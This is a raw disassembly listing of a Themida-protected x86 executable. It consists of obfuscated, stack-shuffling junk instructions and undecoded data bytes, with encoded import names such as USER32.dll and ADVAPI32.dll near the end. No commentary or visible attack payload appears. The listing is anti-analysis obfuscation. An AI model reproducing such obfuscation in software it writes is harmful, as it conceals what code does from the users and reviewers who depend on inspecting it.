		shr	edx, 7
		shr	edx, 8
		push	esi
		jmp	loc_55FBBC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E3E95100h, 59FFFF0Eh,	263BEE81h, 0C6016487h
		dd 263BC681h, 0B9516487h, 5F0035F7h, 1B1CBA52h,	0CA8172CFh
		dd 1698776Eh, 58E1C281h, 0EC8152F8h, 4,	0BE243489h, 30E56BFCh
		dd 8146D6F7h, 5E3086C6h, 38F6814Eh, 0E96243F5h,	0FFFEF7A1h
		dd 1D4FAFBBh, 4BD3F730h, 0B0EC381h, 0C3813951h,	44D84DDDh
		dd 0FF64E0E9h, 0C6815EFFh, 4, 4EE81h, 34870000h, 0C4FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566DA2:				; CODE XREF: Themida_:0055DA56j
		add	ebp, ecx
		pop	ecx
		add	ebp, 37AC78C4h
		push	esi
		mov	esi, 13E112FCh
		jmp	loc_55E039
; ---------------------------------------------------------------------------
		dw 80BBh
		dd 295CE811h, 0E9815BD9h, 526B7743h, 2BF575Ah, 1000000h
		dd 0C0DE9F9h, 5358FFFFh, 0DE88EB88h, 2434FF5Bh,	0FF17B9E9h
		dd 2474FFFFh, 48F5F04h,	24248B24h, 9C240CD2h, 0FEBA09E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566DF5:				; CODE XREF: Themida_:0055DBFBj
		shl	esi, 7
		jmp	loc_55B9D2
; ---------------------------------------------------------------------------
		db 43h,	0C1h, 0EBh
		dd 0FB62E903h, 0E958FFFEh, 0FFFFAA18h, 8304C483h, 0E7E904C4h
		db 0B9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_566E17:				; CODE XREF: Themida_:00562885j
		mov	[esp], eax
		mov	eax, 80A3449h
		jmp	loc_55B89D
; ---------------------------------------------------------------------------

loc_566E24:				; CODE XREF: Themida_:0055E358j
		mov	[esp], eax
		push	2BC8h
		mov	[esp], ecx
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	eax
		jmp	loc_5604C7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 582434FFh, 0FFCD1EE9h, 0DEB81FFh,	811CF707h
		dd 2125E1EBh, 243C8B13h, 0FED548E9h, 81E689FFh,	4C6h, 4C68300h
		dd 5C243487h, 6DA868h, 24148900h, 57D768h, 24248900h, 0FFD039E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566E81:				; CODE XREF: Themida_:005623A4j
		sub	ebp, 509811D4h
		jmp	loc_563E73
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 145h
; ---------------------------------------------------------------------------

loc_566E94:				; CODE XREF: Themida_:005593AAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		push	4C6Ch
		jmp	loc_55BE74
; ---------------------------------------------------------------------------
		dd 99D1C681h, 0F0897690h, 58C7295Eh, 61B8EF81h,	0EB815AD5h
		dd 6F6658B1h, 0C381FB29h, 6F6658B1h, 1EBB685Fh,	1C890000h
		dd 9055E924h, 1433FFFFh, 5D9CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566EE6:				; CODE XREF: Themida_:0055FBC1j
		xor	edx, esi
		pop	esi
		jmp	loc_559673
; ---------------------------------------------------------------------------

loc_566EEE:				; CODE XREF: Themida_:0055CD43j
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_55C03A
; ---------------------------------------------------------------------------
		dd 0CB00D5B1h, 0FEC765E9h, 0C8B66FFh, 8A7E924h,	0D901FFFFh
		dd 59CD895Bh, 4246C31h,	24048B5Dh, 5304C483h, 0FEC859E9h
		dd 0E9575CFFh, 0FFFF755Ah, 0EA80DA28h, 1AB15138h, 73F180h
		dd 1C8B59CAh, 4C48324h,	56C380h, 56EB80D3h, 64B0E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566F82:				; CODE XREF: Themida_:0055BC16j
		add	edi, 35F42760h
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		jmp	loc_564D7D
; ---------------------------------------------------------------------------

loc_566F94:				; CODE XREF: Themida_:0055E8D4j
		xor	cl, bh
		jmp	loc_564571
; ---------------------------------------------------------------------------
		db 51h
		dd 0FEE6B9E9h, 0B858E9FFh, 0E959FFFEh, 0FFFFCD6Ah, 240C8B66h
		dd 4EC81h, 34890000h, 420D6824h, 24890000h, 24048324h
		dd 24348B04h, 0FEED0CE9h, 24248BFFh, 9C2424D2h,	0FEB825E9h
		dd 0B820E9FFh, 34FFFFFEh, 0C4835824h, 78E78104h, 8130614Ah
		dd 0C52A00C7h, 5B5453F9h, 4C381h, 0EB830000h, 241C8704h
		dd 240C895Ch, 0C181E189h, 4, 4E981h, 0C4E90000h, 83FFFF8Fh
		dd 56E904C4h, 0ACFFFF86h, 0E0E96C04h, 66FFFF4Ah, 9C243CD3h
		dd 0FEB7CDE9h, 74FF56FFh, 0E95E0424h, 0FFFFEA9Bh, 0C64BC181h
		dd 0E9C110F9h, 62E95503h, 5CFFFEF9h, 39FC181h, 0F6E97346h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_567057:				; CODE XREF: Themida_:00552C62j
		pop	ebp
		push	98h
		mov	[esp], esi
		push	8A965A8h
		pop	esi
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		push	6439h
		jmp	loc_55951E
; ---------------------------------------------------------------------------
		dd 4C68159h, 0E9000000h, 0FFFF1013h, 0F24248Bh,	0E955C8B6h
		dd 0FFFFF8D7h, 9F533668h, 14E95F46h, 50FFFF68h,	0AB4E5DB8h
		dd 0DF15E955h, 0F268FFFFh, 0E9242E42h, 0FFFFCA8Bh, 5C80A5B8h
		dd 0E9C22908h, 0FFFFB752h, 0E906EEC1h, 0FFFF1AEAh, 895EF531h
		dd 53525DEFh, 69E86850h, 2D5807F5h, 99C63C9Ch, 0F758C389h
		dd 0DBF74BD3h, 62B4F381h, 62E94B5Fh, 81FFFF63h,	4C2h, 4C28300h
		dd 5C241487h, 0EC83D801h, 1290E904h, 1487FFFFh,	24895C24h
		dd 0AA27E924h, 6C29FFFFh, 44810424h, 73450424h,	44817F43h
		dd 15080424h, 6C817E80h, 23740424h, 2C8B014Bh, 4C48324h
		dd 0FF6D94E9h, 1C77FFFFh, 1858669Dh, 0E99C2404h, 0FFFF500Ah
		dd 2434FF50h, 0CFD6858h, 4E90000h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567153:				; CODE XREF: Themida_:0055DA2Bj
		push	ecx
		push	eax
		mov	ah, dh
		jmp	loc_55BCB7
; ---------------------------------------------------------------------------

loc_56715C:				; CODE XREF: Themida_:00557282j
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_567161:				; CODE XREF: Themida_:005544D1j
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 6D764646h
		push	esi
		jmp	loc_564A9C
; ---------------------------------------------------------------------------

loc_567177:				; CODE XREF: Themida_:00563471j
		xchg	dh, ch
		inc	dh
		xchg	dh, ch
		sub	ch, 6Ch
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	bl, al
		add	bl, 0E4h
		pop	ax
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_56719B:				; CODE XREF: Themida_:0055E3E8j
		push	esi
		push	273369FFh
		pop	esi
		neg	esi
		dec	esi
		push	eax
		mov	eax, 374846B2h
		neg	eax
		neg	eax
		jmp	loc_55D621
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 0A2E95500h,	5BFFFF00h, 7461C681h, 0FE017421h
		dd 7461EE81h, 0E9577421h, 0FFFF02A2h, 4244481h,	7BA1193Ah
		dd 8B2434FFh, 21E9242Ch
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5671EB:				; CODE XREF: Themida_:0055ECA3j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	ebx, 5CD82C7Fh
		sub	ebx, 58A36EDEh
		sub	ebx, ebp
		add	ebx, 58A36EDEh
		push	ebp
		push	2ABBh
		mov	[esp], ecx
		mov	ecx, 74794C73h
		shr	ecx, 3
		or	ecx, 1A95420h
		not	ecx
		add	ecx, 46831520h
		xor	ecx, 52FACFF4h
		mov	ebp, ecx
		pop	ecx
		dec	ebp
		shr	ebp, 8
		jmp	loc_555E07
; ---------------------------------------------------------------------------

loc_567247:				; CODE XREF: Themida_:005601C2j
		push	ecx
		jmp	loc_552A23
; ---------------------------------------------------------------------------
		db 68h,	0EAh, 77h
		dd 97E90000h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567257:				; CODE XREF: Themida_:005540F7j
		push	edi
		mov	edi, 5CCC60FCh
		jmp	loc_55E671
; ---------------------------------------------------------------------------

loc_567262:				; CODE XREF: Themida_:00562D6Aj
		mov	bh, 68h
		sub	bh, ah
		pop	eax
		push	eax
		mov	al, 1Ah
		and	bh, al
		pop	eax
		push	edx
		mov	dl, 0E2h
		add	dl, 0AAh
		and	bh, dl
		pop	edx
		jmp	loc_554E13
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 3E9CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567286:				; CODE XREF: Themida_:00565A27j
		push	ecx
		mov	ecx, 4
		jmp	loc_55DAE6
; ---------------------------------------------------------------------------

loc_567291:				; CODE XREF: Themida_:0055ADC7j
		pop	esp
		add	eax, 21AC7689h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_561C8D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 12h
		dd 29B58CF0h, 24148BD0h, 0C412E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5672C2:				; CODE XREF: Themida_:00562853j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55D1D8
; ---------------------------------------------------------------------------

loc_5672CB:				; CODE XREF: Themida_:0055E7C8j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55F273
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7DEC763Dh, 0C15DEE31h, 0FFE907EEh, 88FFFED9h, 5AD588DAh
		dd 83241C8Bh, 34FF04C4h, 0E9565824h, 0FFFF4CA6h, 89EB8953h
		dd 295D5BD8h, 2434FFC7h, 61E9h,	5BD82100h, 0B951h, 0C1290000h
		dd 0D59C889h, 459C02ADh, 214C4505h, 0E9C58900h,	0FFFEE888h
		dd 0BE243489h, 56D02CABh, 0FEC0B1E9h, 0C78058FFh, 80F70015h
		dd 85A15EFh, 241C8BFEh,	0FF2BB5E9h, 243489FFh, 0FFE9FDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56735D:				; CODE XREF: Themida_:0055C4D4j
		mov	esi, 2F8C40CAh
		or	edi, esi
		pop	esi
		xor	edi, 6AF127BFh
		push	ebx
		mov	ebx, 482A7ADFh
		jmp	loc_560885
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0C181E189h, 4, 46850h, 1580000h, 24048BC1h, 4C481h
		dd 0C870000h, 94685C24h, 89000033h, 0EE9243Ch
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5673A3:				; CODE XREF: Themida_:005632FBj
		push	edx
		push	edi
		jmp	loc_5581DD
; ---------------------------------------------------------------------------

loc_5673AA:				; CODE XREF: Themida_:00566C0Ej
		mov	edi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_555115
; ---------------------------------------------------------------------------
		db 81h
		dd 2C3h, 309E900h, 895C0000h, 71E9240Ch, 8BFFFF5Eh, 0C481243Ch
		dd 4, 0E9240C8Bh, 0FFFF0B27h
; ---------------------------------------------------------------------------

loc_5673DC:				; CODE XREF: Themida_:0055ACF7j
		mov	ebp, edx
		pop	edx
		add	edx, ebp
		jmp	loc_55726F
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 0FFDE09E9h, 5325B9FFh, 0F8E90BD6h
		db 0DCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5673F7:				; CODE XREF: Themida_:0055EDA4j
		and	eax, ebx
		pop	ebx
		jmp	loc_560D99
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8106EBh, 0C2EC1647h, 815BD929h, 8A4223C1h, 8BCB0177h
		dd 0C481240Ch, 4, 2474FF53h, 241C8B04h,	0FFACE8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567429:				; CODE XREF: Themida_:005550EAj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1
		mov	edi, ecx
		pop	ecx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		push	esi
		jmp	loc_558C6B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0FF88CAE9h, 242C89FFh, 0A5021EBDh, 5DEB8920h, 9851122Dh
		dd 63A70535h, 0D8295E8Bh, 0FF1ACEE9h, 4EC83FFh,	89243489h
		dd 0BA98E9E6h, 0E958FFFFh, 0FFFFBA7Eh, 0F75FFE89h, 25F681D6h
		dd 57322A26h, 752940BFh, 0C1DFF705h, 0E7C104E7h, 50CF8107h
		dd 810F300Bh, 774FD7C7h, 0A8EF8163h, 294BCF25h,	20E95FFEh
		dd 81000000h, 204717E3h, 91E9436Bh
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5674DB:				; CODE XREF: Themida_:005612A7j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0C8h
		mov	ch, 0B0h
		add	ch, dh
		jmp	loc_556E8F
; ---------------------------------------------------------------------------
		db 81h
		dd 0AD4B99E9h, 3AC2E90Ah, 3C33FFFFh, 0DB41E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567502:				; CODE XREF: Themida_:00560887j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 0BFF7BDAFh
		add	ecx, 1FEF7569h
		add	ecx, edi
		sub	ecx, 1FEF7569h
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5621B9
; ---------------------------------------------------------------------------
		dd 0E188F488h, 0E9FE8858h, 0FFFF5314h, 6866h, 8A243428h
		dd 0F6E92434h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567567:				; CODE XREF: Themida_:0055CB38j
		sub	ecx, 45D66A72h
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 609B241Eh
		xor	eax, 31387B58h
		or	eax, 414F02FFh
		jmp	loc_5535E5
; ---------------------------------------------------------------------------

loc_567585:				; CODE XREF: Themida_:00557D77j
		sub	esp, 4
		jmp	loc_56322F
; ---------------------------------------------------------------------------

loc_567590:				; CODE XREF: Themida_:0055A9C8j
		mov	[esp], edi
		jmp	loc_55314A
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFEE0Ah, 159CB89h, 0EC835BDAh, 24048904h
		dd 0FF1A30E9h, 0ABAFFh,	0EC830000h, 241C8904h, 5063E952h
		dd 0E6D1FFFFh, 0AFAB850h, 79E92C82h, 53FFFF24h,	0F88818B7h
		dd 437FE95Bh, 0E281FFFFh, 11AE31CDh, 6144EA81h,	0DAF731EAh
		dd 7DF4B951h, 0E1811D64h, 70CF2C8Eh, 0FB9E181h,	0D9F729D8h
		dd 0E981D9F7h, 301533Ch, 0FF32F5E9h, 28E580FFh,	2842C580h
		dd 0C026E9E8h, 159FFFFh, 0C7835EF7h, 62B16802h,	3C890000h
		dd 2474FF24h, 2434FF04h, 4C4815Fh, 0E9000000h, 0FFFFE658h
		dd 0F134E955h, 0EA81FFFEh, 8E40AB20h, 295AD501h, 0BBED81C5h
		dd 58731235h, 2474FF55h, 48F5D04h, 24248B24h, 0E9241489h
		dd 0FFFEB19Ah, 8065C180h, 0CB302DC1h, 83240C8Bh, 0C38004C4h
		dd 8BD830C1h, 0C483241Ch, 0B3535104h, 0E25BE9FCh, 0C481FFFEh
		dd 4, 0FE29EF81h, 0FE01ADF3h, 0E92434FFh, 0FFFFD490h
; ---------------------------------------------------------------------------

loc_56769C:				; CODE XREF: Themida_:00564CA6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 461966ABh
		jmp	loc_56484F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF7CACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5676B5:				; CODE XREF: Themida_:0055943Fj
		add	esi, 4
		jmp	loc_558961
; ---------------------------------------------------------------------------

loc_5676C0:				; CODE XREF: Themida_:00563314j
		xchg	edx, [esp]
		pop	esp
		add	ebp, eax
		jmp	loc_55A9BF
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 24040024h, 0DED9E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5676DA:				; CODE XREF: Themida_:0056665Aj
		add	esp, 4
		jmp	loc_561C2F
; ---------------------------------------------------------------------------
		db 0B2h, 0C7h, 0C0h
		dd 0E2C008E2h, 0D1E28008h, 0D0D0CA80h, 6CE950E2h, 87FFFF8Fh
		dd 0FF5C2434h, 8AE92434h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567707:				; CODE XREF: Themida_:0055BCC3j
		pop	edi
		neg	edi
		jmp	loc_55C5EA
; ---------------------------------------------------------------------------
		db 1
		dd 0E9082474h, 0FFFFD14Bh
; ---------------------------------------------------------------------------

loc_567718:				; CODE XREF: Themida_:0055F4D2j
		sub	ecx, 3382117h
		jmp	loc_55E2F6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 242C8700h, 4C6815Ch
		db 0
byte_567731	db 2 dup(0), 0E9h	; DATA XREF: Themida_:005576A1o
		dd 0FFFEC1A3h, 851FE95Ah, 0C483FFFFh, 81DD2904h, 7163DCEDh
		dd 241C8B61h, 0FFE9B9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567751:				; CODE XREF: Themida_:00562060j
		push	34Bh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_557B85
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 7705306Ah
		dec	ebp
		add	ebp, 1
		or	ebp, 3B03685Ch
		xor	ebp, 7F07787Ah
		push	esi
		mov	esi, 24763C1Ch
		sub	[esp+8], esi
		pop	esi
		add	[esp+4], ebp
		add	dword ptr [esp+4], 24763C1Ch
		jmp	loc_5581B4
; ---------------------------------------------------------------------------

loc_5677B5:				; CODE XREF: Themida_:0055CC38j
		push	6A09h
		mov	[esp], ebx
		mov	ebx, 24h
		push	edx
		mov	edx, 558B5824h
		shl	edx, 3
		inc	edx
		inc	edx
		dec	edx
		xor	edx, 0D813E2D2h
		push	esi
		mov	esi, 24B535BCh
		jmp	loc_553A48
; ---------------------------------------------------------------------------
		db 42h
		dd 0FEC77BE9h, 4C481FFh, 5A000000h, 0FF49CDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5677F1:				; CODE XREF: Themida_:00556066j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55C911
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 0E95C2434h, 0FFFF0B79h, 0C7815B5Ch, 2B6D1F48h
		dd 0E956EF01h, 0FFFFB829h, 80B4EA80h, 515BFCEAh, 0EA0042B5h
		dd 0FED832E9h, 74FF66FFh, 8B660224h, 0A7E92434h, 0BBFFFF16h
		dd 1FF90904h, 4EC81h, 14890000h, 4A5ABA24h, 0D309324Ah
		dd 0FFAFE7E9h, 81E689FFh, 4C6h,	4C68100h, 56000000h, 42474FFh
		dd 0FEE617E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56786D:				; CODE XREF: Themida_:0055C858j
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		push	ecx
		mov	ecx, 654E0F49h
		jmp	loc_55FCCD
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0A514E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56788A:				; CODE XREF: Themida_:00556EDEj
		add	esp, 4
		pop	edx
		push	eax
		mov	eax, 79943F4Dh
		shl	eax, 7
		sub	eax, 139C53FAh
		jmp	loc_55F39B
; ---------------------------------------------------------------------------
		dd 79A3E953h, 0C781FFFFh, 45947390h, 0FF4493E9h, 72BDBAFFh
		dd 0C2812216h, 0DDE98D45h, 0D4E9D389h, 51FFFFA3h, 4B1E81B9h
		dd 0FCE98152h, 8112E97Ah, 9E5C7FC1h, 74EB81C0h,	0E9153431h
		dd 0FFFF8B4Fh, 48BC601h, 4C48324h, 6259B951h, 0B85028B2h
		dd 1, 0F758C129h, 583BE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567902:				; CODE XREF: Themida_:0056235Cj
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 3D9B39A4h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55917D
; ---------------------------------------------------------------------------
		db 89h
		dd 0B9512434h, 6A8D3B9Eh, 79E95E51h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56792B:				; CODE XREF: Themida_:00555A02j
		mov	ebp, edx
		pop	edx
		add	ebp, 0A6B2D27Bh
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_55C388
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 1F866B62h, 59F4C981h, 0C1815EECh, 100A406h, 0E959CB01h
		dd 0FFFFD2C5h, 585D5055h, 8FD8ED81h, 0EA01E7D5h, 6851565Dh
		dd 43F9042Fh, 83240C8Bh, 0F18104C4h, 43F9042Bh,	7E9CE89h
		dd 53FFFF26h, 0FF8906E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567985:				; CODE XREF: Themida_:00563185j
		add	ebp, 4
		push	edi
		mov	edi, 1D0C65BCh
		jmp	loc_55F8A2
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 5EEE10F9h, 0C1ADC581h, 0B5E9D7CDh, 0F7FFFF6Ch, 5BC281D2h
		dd 897487A1h, 0E5815AD5h, 3EED742Ah, 0C581DDF7h, 0EFA8C871h
		dd 0FEDD9FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5679C5:				; CODE XREF: Themida_:00561B2Aj
		or	edi, 2DD26A33h
		add	edi, 90009049h
		add	ebx, edi
		jmp	loc_55C9A0
; ---------------------------------------------------------------------------

loc_5679D8:				; CODE XREF: Themida_:00559FEBj
		push	edi
		jmp	loc_567B78
; ---------------------------------------------------------------------------

loc_5679DE:				; CODE XREF: Themida_:00563EB5j
		mov	eax, 0A7F3A549h
		xor	esi, eax
		pop	eax
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_55471F
; ---------------------------------------------------------------------------
		dd 0E95DEE31h, 0FFFFB056h, 5F2434FFh, 4C481h, 0E6810000h
		dd 1E2216E8h, 0CE81D6F7h, 75476CD0h, 18A5BB53h,	0DE213C5Bh
		dd 5BF6815Bh, 89345B08h, 0A7E95EF3h, 68FFFF54h,	0F58h
		dd 0BF243C89h, 67B9F45Fh, 6E1868h, 243C8900h, 22B0BA52h
		dd 44816A08h, 47970424h, 54011B60h, 0A2E90424h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_567A53:				; CODE XREF: Themida_:00560B1Cj
		push	eax
		jmp	loc_55E1D2
; ---------------------------------------------------------------------------

loc_567A59:				; CODE XREF: Themida_:0055676Dj
		and	edx, 72133166h
		xor	edx, 6F8259C9h
		jmp	loc_556E53
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 0EB815C24h, 145E0406h, 8E3C15Eh
		dd 9104F381h, 0E9062Eh,	29FFFFA7h, 0A249E9F1h, 0ED81FFFFh
		dd 11E67B59h, 3076CD81h, 0ED8152EDh, 0F2EDF4F3h, 7E9EB01h
		dd 59FFFF86h, 0FF5088E9h, 245C01FFh, 0E9595B04h, 0FFFEF4C2h
		dd 0B6241489h, 0D6E9514Fh
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567ACB:				; CODE XREF: Themida_:0055B091j
		mov	eax, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_563B10
; ---------------------------------------------------------------------------
		dd 3705C181h, 0EEE912FCh, 0BBFFFF06h, 2DEB3F71h, 5296EF81h
		dd 0DF290B3Eh, 0FF82B4E9h, 246C81FFh, 60479704h, 575A5A1Bh
		dd 822B0BFh, 96C2816Ah,	292FCF23h, 0BB5351FAh, 660C3CAFh
		dd 6458E381h, 0CCE95B9Dh, 0FFFFFEDEh, 66E92434h, 33FFFF14h
		dd 248B2414h, 24048924h, 70BE5651h, 0B964D113h,	326A711Ah
		dd 0FF8556E9h, 704C68FFh, 58E90000h
		db 0DBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567B4B:				; CODE XREF: Themida_:0055B9D8j
		and	esi, eax
		pop	eax
		push	edx
		mov	edx, 0F4C07BFh
		or	edx, 26A604EAh
		or	edx, 4AE2761Fh
		jmp	loc_564194
; ---------------------------------------------------------------------------

loc_567B65:				; CODE XREF: Themida_:00566C22j
		neg	ah
		shl	ah, 6
		inc	ah
		xor	ah, 8Ch
		mov	cl, ah
		pop	eax
		push	edx
		jmp	loc_56334C
; ---------------------------------------------------------------------------

loc_567B78:				; CODE XREF: Themida_:005679D9j
		push	ecx
		mov	ecx, 3A8544F3h
		mov	edi, 0EE5E46Ah
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edi, 72F4361Fh
		add	edi, 0BE8004C1h
		mov	eax, edi
		pop	edi
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55816E
; ---------------------------------------------------------------------------

loc_567BA8:				; CODE XREF: Themida_:00561481j
		neg	esi
		push	edi
		mov	edi, 380F386Eh
		shl	edi, 1
		jmp	loc_564CDA
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFD098E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567BBD:				; CODE XREF: Themida_:0055F9D3j
		add	ecx, edx
		pop	edx
		jmp	loc_557F43
; ---------------------------------------------------------------------------
		db 51h,	56h, 0BEh
		dd 4F574883h, 574883B9h, 0E9F1314Fh, 0FFFEC445h
; ---------------------------------------------------------------------------

loc_567BD8:				; CODE XREF: Themida_:00555DD9j
		sub	dword ptr [esp+4], 0D694C98h
		push	dword ptr [esp]
		jmp	loc_55C891
; ---------------------------------------------------------------------------

loc_567BE8:				; CODE XREF: Themida_:005585EBj
		push	7770h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5580F7
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 6BC18158h, 290DC10Fh, 6BE981F9h, 5F0DC10Fh, 0FFAA11E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567C1D:				; CODE XREF: Themida_:00564670j
		pop	ebx
		add	al, ch
		pop	ecx
		jmp	loc_561350
; ---------------------------------------------------------------------------

loc_567C26:				; CODE XREF: Themida_:005553A5j
		sub	bh, dl
		pop	edx
		jmp	loc_55D263
; ---------------------------------------------------------------------------
		dw 0D631h
		dd 0FF4006E9h, 0E95758FFh, 0FFFEDC72h, 0B20614BDh, 45D5F756h
		dd 0FEF057E9h, 4EAC1FFh, 81DAF74Ah, 0FB7700C2h,	0E9D70107h
		dd 0FFFEEAF3h, 4EC8158h, 89000000h, 0E0892404h,	0FF3330E9h
		dd 5536EBFFh, 33524553h, 6C642E32h, 4441006Ch, 49504156h
		dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 707D700h
		dd 1A000400h, 0B001000h, 12003500h, 40204502h, 8C5E95Eh
		dd 8680000h, 0E905E99Bh, 0FFFDE343h, 0E99B7768h, 0E339E905h
		dd 0C468FFFDh, 0E905E99Ch, 0FFFDE32Fh, 0E99E4368h, 0E325E905h
		dd 0A268FFFDh, 0E905E99Eh, 0FFFDE31Bh, 0E99F8268h, 0E311E905h
		dd 0F868FFFDh, 0E905E99Fh, 0FFFDE307h, 9C7F73Dh, 6CAE822h
		dd 0C8F039h, 1CCC103Bh,	1D330B37h, 61A901B0h, 7DA8F759h
		dd 63A8F759h, 66A68D43h, 0A9398840h, 9C78A40Ch,	1A4CBFC6h
		dd 1E3C6A35h, 0DFAE46DFh, 7F5A0C11h, 0C95CEA82h, 0BB8D360Eh
